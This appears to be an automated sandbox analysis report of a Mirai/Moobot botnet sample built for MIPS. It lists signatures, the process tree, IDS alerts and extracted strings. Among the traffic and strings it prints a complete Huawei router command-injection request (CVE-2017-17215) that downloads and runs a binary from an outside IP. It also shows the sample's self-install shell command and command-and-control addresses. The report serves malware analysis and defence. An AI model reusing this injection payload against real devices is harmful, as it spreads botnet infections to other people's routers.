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Linux Analysis Report
mbl5k2b7z8.elf

Overview

General Information

Sample Name:	mbl5k2b7z8.elf
Original Sample Name:	d7f3432247daa3564a2f9f282fd892ca.elf
Analysis ID:	830716
MD5:	d7f3432247daa3564a2f9f282fd892ca
SHA1:	58ddd0d4593d6362f371acb8877671edb8463d99
SHA256:	686fb10624e0f6001922f5a7da9d6c10671b960e04da8cb6300bd81671d4407d
Tags:	32elfmipsmirai
Infos:

Detection

Mirai, Moobot

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Performs DNS queries to domains with low reputation

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830716
Start date and time:	2023-03-20 16:23:54 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 6s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	mbl5k2b7z8.elf
Original Sample Name:	d7f3432247daa3564a2f9f282fd892ca.elf
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100
VT rate limit hit for: test.zxyes.xyz

Runtime Messages

Command:	/tmp/mbl5k2b7z8.elf
PID:	6231
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

mbl5k2b7z8.elf (PID: 6231, Parent: 6130, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mbl5k2b7z8.elf

mbl5k2b7z8.elf New Fork (PID: 6233, Parent: 6231)

sh (PID: 6233, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/mbl5k2b7z8.elf bin/busybox; chmod 777 bin/busybox"

sh New Fork (PID: 6235, Parent: 6233)

rm (PID: 6235, Parent: 6233, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/busybox

sh New Fork (PID: 6236, Parent: 6233)

mkdir (PID: 6236, Parent: 6233, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6237, Parent: 6233)

mv (PID: 6237, Parent: 6233, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/mbl5k2b7z8.elf bin/busybox

sh New Fork (PID: 6238, Parent: 6233)

chmod (PID: 6238, Parent: 6233, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/busybox

mbl5k2b7z8.elf New Fork (PID: 6239, Parent: 6231)

mbl5k2b7z8.elf New Fork (PID: 6241, Parent: 6239)

mbl5k2b7z8.elf New Fork (PID: 6243, Parent: 6239)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mbl5k2b7z8.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
mbl5k2b7z8.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mbl5k2b7z8.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1185c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11924:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11938:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1194c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11960:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11974:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11988:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1199c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6231.1.00007f8304400000.00007f8304414000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6231.1.00007f8304400000.00007f8304414000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6231.1.00007f8304400000.00007f8304414000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1185c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11924:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11938:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1194c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11960:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11974:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11988:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1199c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mbl5k2b7z8.elf PID: 6231	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: mbl5k2b7z8.elf PID: 6231	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x91e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x932:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x946:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x95a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x96e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x982:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x996:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa0e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa22:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa36:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa4a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 195.133.40.202

Timestamp:	192.168.2.23195.133.40.20236176569992030490 03/20/23-16:24:46.219802
SID:	2030490
Source Port:	36176
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 163.18.94.240

Timestamp:	192.168.2.23163.18.94.24060670372152835222 03/20/23-16:25:01.651288
SID:	2835222
Source Port:	60670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 195.133.40.202 - Destination IP: 192.168.2.23

Timestamp:	195.133.40.202192.168.2.2356999361762030489 03/20/23-16:25:13.708877
SID:	2030489
Source Port:	56999
Destination Port:	36176
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.128.181.63

Timestamp:	192.168.2.2334.128.181.6354264372152835222 03/20/23-16:25:15.146221
SID:	2835222
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.71.18

Timestamp:	192.168.2.2341.37.71.1833478372152835222 03/20/23-16:25:08.055278
SID:	2835222
Source Port:	33478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: test.zxyes.xyz

System Summary

Malicious sample detected (through community Yara rule)

Source: mbl5k2b7z8.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: mbl5k2b7z8.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f

Source: classification engine

Classification label: mal96.troj.linELF@0/0@1/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6238)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/busybox

Source: /bin/sh (PID: 6236)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Source: /bin/sh (PID: 6238)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/busybox

Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1582/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/3088/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/230/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/110/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/231/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/111/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/232/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1579/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/112/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/233/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1699/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/113/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/234/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1335/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1698/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/114/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/235/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1334/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1576/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/2302/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/115/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/236/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/116/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/237/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/117/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/118/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/910/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/119/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/912/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/10/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/2307/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/5815/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/11/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/918/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/12/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/13/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/6243/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/14/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/15/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/6245/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/16/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/17/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/18/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1594/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/120/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/121/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1349/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/1/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/122/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/243/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/123/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/2/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/124/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/3/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/4/cmdline
Source: /tmp/mbl5k2b7z8.elf (PID: 6241)	File opened: /proc/125/cmdline
